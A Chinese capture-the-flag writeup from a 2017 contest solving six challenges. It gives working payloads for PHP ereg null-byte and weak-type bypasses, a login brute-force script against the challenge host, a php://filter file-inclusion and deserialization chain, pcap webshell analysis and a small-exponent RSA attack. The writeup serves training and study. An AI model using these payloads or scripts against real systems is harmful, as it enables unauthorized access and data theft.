【Writeup】2017.10.8 世安杯(部分)

0x01 ctf入门级题目

这道题是个代码审计题,给了php的代码

<?php
$flag = '*********';

if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        echo '<p class="alert">You password must be alphanumeric</p>';
    else if (strpos ($_GET['password'], '--') !== FALSE)
        die($flag);
    else
        echo '<p class="alert">Invalid password</p>';
}
?>

<section class="login">
        <div class="title">
                <a href="./index.phps">View Source</a>
        </div>

        <form method="POST">
                <input type="text" required name="password" placeholder="Password" /><br/>
                <input type="submit"/>
        </form>
</section>
</body>
</html>

这里要求password是字母或者数字,但是后面strpos要求password中要有“--”符号,注意这里的正则匹配用到了ereg函数,该函数存在%00截断的漏洞,就是它只会匹配%00之前的,当遇到%00时,后面的东西就不会看了,但是strpos()函数并不会这样,因此可以用%00进行绕过。
payload:

?password=a%00--

得到flag

这里还有第二种解法,当ereg()函数只能处理字符串,当参数是数组的时候,会返回NULL,而这道题中是!==,类型和内容需要都不一样才可以,NULL与FALSE的类型不是相同的,因此也可以进行绕过
payload2:

?password[]=a

0x02 类型

这道题还是一个代码审计的题,源码如下:

<?php 
show_source(__FILE__); 
$a=0; 
$b=0; 
$c=0; 
$d=0; 
if (isset($_GET['x1'])) 
{ 
        $x1 = $_GET['x1']; 
        $x1=="1"?die("ha?"):NULL; 
        switch ($x1) 
        { 
        case 0: 
        case 1: 
                $a=1; 
                break; 
        } 
} 
$x2=(array)json_decode(@$_GET['x2']); 
if(is_array($x2)){ 
    is_numeric(@$x2["x21"])?die("ha?"):NULL; 
    if(@$x2["x21"]){ 
        ($x2["x21"]>2017)?$b=1:NULL; 
    } 
    if(is_array(@$x2["x22"])){ 
        if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?"); 
        $p = array_search("XIPU", $x2["x22"]); 
        $p===false?die("ha?"):NULL; 
        foreach($x2["x22"] as $key=>$val){ 
            $val==="XIPU"?die("ha?"):NULL; 
        } 
        $c=1; 
} 
} 
$x3 = $_GET['x3']; 
if ($x3 != '15562') { 
    if (strstr($x3, 'XIPU')) { 
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) { 
            $d=1; 
        } 
    } 
} 
if($a && $b && $c && $d){ 
    include "flag.php"; 
    echo $flag; 
} 
?>

这题是一个很经典的php若比较问题的ctf题了。
首先,x1要等于0,因为在$x1=="1"?die("ha?"):NULL; 中,需要让x1不能等于"1"的,php中,双等号比较整数与字符串时,会先将字符串直到没有字符之前的那部分的转换为整数,而后面switch判断中,等于0和1都可以继续,因此x1=0.
再看x2,这里有一个json_decode函数,那么x2就得是一个json格式的字符串了。is_numeric()函数接收整数和整数字符串,这里is_numeric(@$x2["x21"])?die("ha?"):NULL; 因此不能是整数或整数字符串,并且x21还要大于2017,因此用2018a来进行绕过。
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");对于这个判断,我们需要构造的是一个数组,数组里有两个元素,并且第一个元素也得是数组;之后

$p = array_search("XIPU", $x2["x22"]); 
        $p===false?die("ha?"):NULL; 
        foreach($x2["x22"] as $key=>$val){ 
            $val==="XIPU"?die("ha?"):NULL; 
        } 

这里遍历x22这个数组,要求不能元素是有"XIPU"这个字样,但是还必须要在数组中能够找到。这里array_search()函数是存在弱类型比较的问题的,因此将第二个元素设置为0,在于"XIPU"字符串比较的时候,0=="XIPU"是成立的。最后

if ($x3 != '15562') { 
    if (strstr($x3, 'XIPU')) { 
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) { 
            $d=1; 
        } 
    } 
} 

这里写一个脚本跑一下

import hashlib
for i in xrange(1000000):
    s = 'XIPU' + str(i)
    mymd5 = hashlib.md5()
    mymd5.update(s)
    mymd5 = mymd5.hexdigest()
    x3 = 1
    if mymd5[8:10] == '0e':
        for j in mymd5[10:24]:
            if j.isalpha():
                x3 = 0
                break
        if x3== 1:
            print s
            break

最后payload:

?x1=0&x2={"x21":"2018asd","x22":[[0],0]}&x3=XIPU18570

0x03 登陆

首先题目描述说有提示,右键查看源代码,滑轮往下,看到提示

<!-- 听说密码是一个五位数字 -->

并且,已经告知admin为用户名,那么就想到是爆破无疑了,写一个脚本:

#-*- coding:utf-8 -*-
import requests
import re

s = requests.Session()
dic = "0123456789"
url="http://ctf1.shiyanbar.com/shian-s/"
header = {'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"}
Cookie = {"Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3":"1500552075,1500882902","Hm_cv_34d6f7353ab0915a4c582e4516dffbc3":"1*visitor*87436%2CnickName%3AHDL_","PHPSESSID":"8nb06b20pn2gjl6ssujb1q0u04"}

for a in dic:
    for b in dic:
        for c in dic:
            for d in dic:
                for e in dic:
                    html =s.get(url,headers=header, cookies=Cookie).content
                    pattern = re.compile('<input name="randcode" type="text"><br><br>(.*?)<br><br>.*?<input type="submit"', re.S)
                    code = re.findall(pattern, html)[0]
                    passwd = a+b+c+d+e
                    url1 = url + "index.php?username=admin&password="+passwd+"&randcode="+code
                    print url1
                    req = s.get(url1,headers=header, cookies=Cookie)
                    if len(req.content) != 156:
                        print passwd
                        break
                    

得到password,登陆后得到flag

0x04 admin

登陆后发现显示“you are not admin”,右键查看源代码,发现了源码

$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}

这里如果直接输入?user=the user is admin是不对的,应该是空格编码了得问题吧。。。我猜的。但是这里有file_get_contents()函数,它是可以用php伪协议的,我们就可以用php://input直接将那个字符串post过去,payload为

?user=php://input
post:the user is admin

成功绕过第一步。
接下来由于一个include()函数,想到会不会存在文件包含漏洞呢,试了一下php://filter/read=convert.base64-encode/resource=class.php,得到了class.php的源代码

<?php
class Read{
//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            return "__toString was called!";
        }
?>

一看就知道是php反序列化了,构造序列化字符串O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";},最后payload:

?user=php://input&filelass.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}
post:the user is admin

得到flag的base64,解一下得到flag

0x05 心仪的公司

题目描述:小黑在拿到webshell后,马上就获得了自己心仪公司的照片

这道题是一个流量包分析的题,首先看一下题目描述,就知道了得到flag应该是得先定位webnshell的位置
首先在在导出对象中选择导出HTTP选项,发现了一个名叫conf1g.php的文件非常可疑,搜索了一下conf1g.php,并跟踪tcp流,发现黑客在爆破登陆密码,爆破出来了密码youxiu,登陆后台,进行了一些列操作之后,继续跟踪流,在最后发现webshell.jpg中有flag。
这么一看,其实可以在最开始导出HTTP对象的时候,将最后一个application/x-jpg类型的文件导出来,然后winhex查看就也能得到flag了。

0x06 RSA

给出了密文c和n

c= 2044619806634581710230401748541393297937319 
n= 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143

import libnum
for e in range(2,10):
    m = libnum.nroot(c,e)
    if m**e==c:
        break

print "e:",e
print "m:",m
flag = libnum.n2s(m)
print flag

解出来明文so_low

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,524评论 5 460
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,869评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,813评论 0 320
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,210评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,085评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,117评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,533评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,219评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,487评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,582评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,362评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,218评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,589评论 3 299
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,899评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,176评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,503评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,707评论 2 335

推荐阅读更多精彩内容